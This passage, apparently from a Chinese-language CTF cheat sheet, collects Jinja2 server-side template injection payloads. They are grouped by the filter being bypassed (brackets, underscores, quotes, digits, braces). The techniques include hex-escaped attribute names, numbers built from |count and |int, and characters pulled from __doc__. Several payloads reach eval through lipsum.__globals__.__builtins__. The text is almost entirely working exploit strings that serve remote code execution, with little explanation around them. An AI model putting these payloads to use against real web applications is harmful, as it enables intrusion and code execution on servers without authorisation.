# 第二种
[]['__class__']

# 第三种
[]|attr('__getattribute__')('__class__')

- [] -

# 过滤了列表啥的
# 第一种
({}.__class__.__mro__|list).pop(nn)

# 第二种
{}.__class__.__mro__.__getitem__(nn)

# 第三种
{%for v in {}.__class__.__mro__%}
	{%if {}.__class__.__mro__.index(v) == 1%}
		{%print(v)%}
	{%endif%}
{%endfor%}

- _ -

# 过滤下划线啥的
# 第一种
{}|attr("\137\137class\137\137")
{}|attr("\x5f\x5fclass\x5f\x5f")
{}["\x5f\x5fclass\x5f\x5f"]
{}|attr('\x5f\x5fgetattribute\x5f\x5f')("\x5f\x5fclass\x5f\x5f")

# 第二种
{}|attr(request.args.a)&a=__class__

# 第三种
{}|attr(({}|select|string|list)[27]~({}|select|string|list)[27]~'class'~({}|select|string|list)[27]~({}|select|string|list)[27])

- 组合过滤 -

- 引号+数字 -

# --- 数字 ---
# 第一种
()|count # 0
(())|count # 1
((),())|count # 2 ...

# 第二种
{%set iz=(dict(_=a)|join).index(dict(_=a)|join)%} # 0
{%set ia=(dict(a_=a)|join).index(dict(_=a)|join)%} # 1
{%set ib=(dict(aa_=a)|join).index(dict(_=a)|join)%} # 2 ...

# 第三种
{%set iz={}|int%} # 0
{%set ia=(not{})|int%} # 1
{%set ib=((not{})|int+(not{})|int)%} # 2 
{%set ic=((not{})|int,(not{})|int,(not{})|int)|sum%} # 3
{%set ixx=((not{})|int,(not{})|int,{}|int)|join|int%} # 100 ...

# 第四种
{}|count # 0
{a:a}|count # 1 
{{}|count:a,a:a}|count # 2
{{}|count:a,{a:a}|count:a,a:a}|count #3 ...
{%set ia={a:a}|count%}{%set iz={}|count%}{%set ix={ia:a,iz:a}|join|int%} # 10
{%set ia={a:a}|count%}{%set iz={}|count%}{%set ix={ia:a,iz:a}|join|int%}{%set ixx={ix:a,iz:a}|join|int%} # 100 ...

# 第五种
{%set iz={}|int%} # 0
{%set ia=not{}%}{%set ia=ia|int%} # 1 ...下面的和第一种相似
{%set ia=not{}%}{%set ia=ia|int%}{%set iz={}|int%}{%set ix={ia:a,iz:a}|join|int%} # 10
{%set ia=not{}%}{%set ia=ia|int%}{%set ia=not{}%}{%set ia=ia|int%}{%set ix={ia:a,iz:a}|join|int%}{%set ixx={ix:a,iz:a}|join|int%} # 100 ...

# --- ---
# --- 字符 ---
# 将需要数字的地方换成上边数字的拼接就好了。
# 第一种
{%set t=lipsum.__globals__.__builtins__ %}
{{t.eval(t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx)+t.chr(xx))}}

# 第二种
{{lipsum.__globals__.__builtins__.eval(request.args.a)}}&a=xx

# 第三种
{%set ch=(morouu|select|string|urlencode|list|first~dict(c=a)|join)%}
{{lipsum.__globals__.__builtins__.eval(ch|format(nn)~ch|format(nn)~ch|format(nn)~ch|format(nn))}}

# 第四种
{%set _=dict(_=a)|join%} -> 任意变量名
{%set c=dict(c=a)|join%} -> 任意变量名
# ...
{%set left=(morouu|attr(dict(__doc__=a)|join)|list)[171]%} -> 左括号(
{%set right=(morouu|attr(dict(__doc__=a)|join)|list)[182]%} -> 右括号 )
{%set dy=(morouu|attr(dict(__doc__=a)|join)|list)[177]%} -> 单引号 '
{%set lx=(config.APPLICATION_ROOT|list)[0]%} -> 左斜杠 /
{%set dd=(morouu.__doc__|list)[26]%} ->.
{%set dh=(morouu.__doc__|list)[85]%} -> 逗号 .
{{lipsum.__globals__builtins__.eval(xx)}}

# ...... 总之各种拼接就好了

# --- ---

- 引号+数字+双花括号+(+-*/[]=.) -

# --- 数字 ---
# 第一种
()|count # 0
(())|count # 1
((),())|count # 2 ...

# 第二种
{}|count # 0
{a:a}|count # 1 
{{}|count:a,a:a}|count # 2
{{}|count:a,{a:a}|count:a,a:a}|count #3 ...
{{a:a}|count:a,{}|count:a}|join|int # 10
{{{a:a}|count:a,{}|count:a}|join|int:a,{}|count:a}|join|int # 100 ...

# --- ---
# --- 字符 ---
# 第一种
{}/config/session/request/self/lipsum/cycler/joiner/g/namespace|string|list|sort|trim|truncate(nn)|list|last -> 用尽一切方式拼接字符

# --- ---

- 引号+数字+双花括号+全局函数/对象+(+-*/[]=.) -

# --- 数字 ---
# 第一种
()|count # 0
(())|count # 1
((),())|count # 2 ...

# 第二种
{}|count # 0
{a:a}|count # 1 
{{}|count:a,a:a}|count # 2
{{}|count:a,{a:a}|count:a,a:a}|count #3 ...
{{a:a}|count:a,{}|count:a}|join|int # 10
{{{a:a}|count:a,{}|count:a}|join|int:a,{}|count:a}|join|int # 100 ...

# --- ---
# --- 字符 ---
# 第一种
morouu|select|string|list|sort|trim|truncate(nn)|list|last -> 可截取部分字符
##然后用上边截取的字符拼接后去截取更多...

# --- ---

- ( 或 ) -

#无敌!

0x04 结语

​ 简单来说,只要能够拿到 函数 就可以逃逸了。然而如果过滤了 () 任意一个就完全没法搞了。